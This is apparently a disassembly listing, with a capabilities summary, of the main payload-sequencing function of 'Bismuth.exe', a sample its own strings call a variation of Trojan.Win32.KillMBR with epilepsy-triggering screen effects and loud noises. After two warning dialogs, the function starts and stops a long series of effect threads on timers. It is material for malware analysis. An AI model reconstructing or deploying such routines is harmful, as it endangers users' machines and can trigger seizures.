Function at 0x405810
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.Bismuth.exe_by_Nyfol2290__GDI_only_
push str.The_specified_program__Bismuth__is_a_variation_of_Trojan.Win32.KillMBR._r_nIt_displays_a_variety_of_epilepsy_triggering_effects_and_plays_unwelcoming_loud_noises._r_n_r_nYou_may_proceed_by_clicking_Yes.
push 0
call esi
cmp eax, 7
jne 0x40583d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push str.Bismuth.exe_by_Nyfol2290__GDI_only_
push str.Really__You_want_to_do_that__Thats_the_stupidest_decision_Ive_ever_seen_someone_make._r_n_r_nMay_I_proceed_with_destroying_your_computer_
push 0
call esi
cmp eax, 7
jne 0x40585a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4012e0
push 0
push 0
call ebx
push 0xbb8
call edi
push 0
push 0
push 0
push 0x401300
push 0
push 0
call ebx
mov esi, eax
call fcn.00403810
push 0x7530
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401420
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401550
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00403a50
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4017d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00403bb0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401930
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401a20
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00403d10
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401b50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401be0
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00403e80
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x401cb0
push 0
push 0
call esi
mov edi, eax
push 0
push 0
push 0
push 0x401d20
push 0
push 0
call esi
mov esi, eax
call fcn.00403fe0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401e10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404160
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4020a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402110
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.004042c0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402390
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0
push 0
push 0
push 0x402560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00404470
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402640
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404610
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402810
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00404770
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4029b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004049b0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404ae0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402b40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00404c50
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402bd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402c50
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00404db0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x402d20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
mov esi, eax
push 0
push 0
push 0x402e80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00404f10
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4030a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403170
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00405090
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4032d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004051f0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x403440
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00405360
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4035c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403670
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.004054d0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4036e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.004056b0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10